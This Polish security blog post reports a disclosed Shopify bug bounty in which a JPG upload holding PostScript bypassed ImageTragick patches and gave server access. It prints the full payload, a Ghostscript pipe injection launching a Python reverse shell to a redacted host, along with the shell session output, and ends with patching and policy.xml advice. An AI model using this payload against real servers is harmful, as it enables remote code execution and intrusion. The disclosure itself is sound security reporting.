Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

(nie)zwykły obrazek w plaformie shopify umożliwił dostanie się na serwer (a następnie otrzymanie ~60000 PLN)

08 lutego 2020, 00:01 | W biegu | 0 komentarzy
Eksperymentalnie, przez tydzień postaramy się codziennie publikować inną podatność (nową, lub po prostu ciekawą) – wpisy będzie można obserwować pod tagiem vulnz. Mamy kolejny dzień, zerknijmy więc na następną podatność.

Kit to wirtualny pracownik oferowany przez platformę shopify. Nie dość że „pracuje za darmo” ;) to czasem pozwala nieźle zarobić. Tym razem zarobek został osiągnięty w dość niekonwencjonalny sposób. W pewnym miejscu można było do aplikacji zuploadować obrazek. Niektórzy z czytelników pomyślą – aha, w takim razie zamiast obrazka można było wgrać plik wykonywalny np.: test.php, test.jsp czy inny test.py. Nic z tych rzeczy – shopify umożliwiał jedynie na upload plików JPG/PNG/GIF.

Jaki był więc następny krok? Wystarczyło w treści pliku umieścić kawałek PostScriptu. Dlaczego akurat PostScript? Jest to jedna z metod na obejście oryginalnych łat na podatność ImageTragick (warto przy okazji przypomnieć sobie wykorzystanie właśnie oryginalnej luki ImageTragick w Facebooku – błąd warty $40 000).

Wracając do naszej luki – plik JPG wyglądał tak:

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("█████",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

Po wgraniu go na serwer, po pewnym czasie odpalał reverse shella:

Listening on [0.0.0.0] (family 0, port 8080)
Connection from [52.38.69.6] port 8080 [tcp/http-alt] accepted (family 2, sport 35486)
sh: no job control in this shell
sh-4.2$ whoami
whoami
deploy
sh-4.2$ ls
ls
app
bin
config
config.ru
db
deploy
dev.yml
doc
...

Dalej zostało już tylko pobuszować na serwerze i zgłosić błąd do ekipy shopify (wypłacono za niego $15 000).

Wnioski? Pamiętajmy o regularnych łatach (co może być czasem trudne – np. w przypadku gdy aplikacja korzysta z ręcznie wgrywanych bibliotek – np. ImageMagick). W samym ImageMagick (plik policy.xml) warto wyłączyć obsługę „dziwnych” plików.

–ms

 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz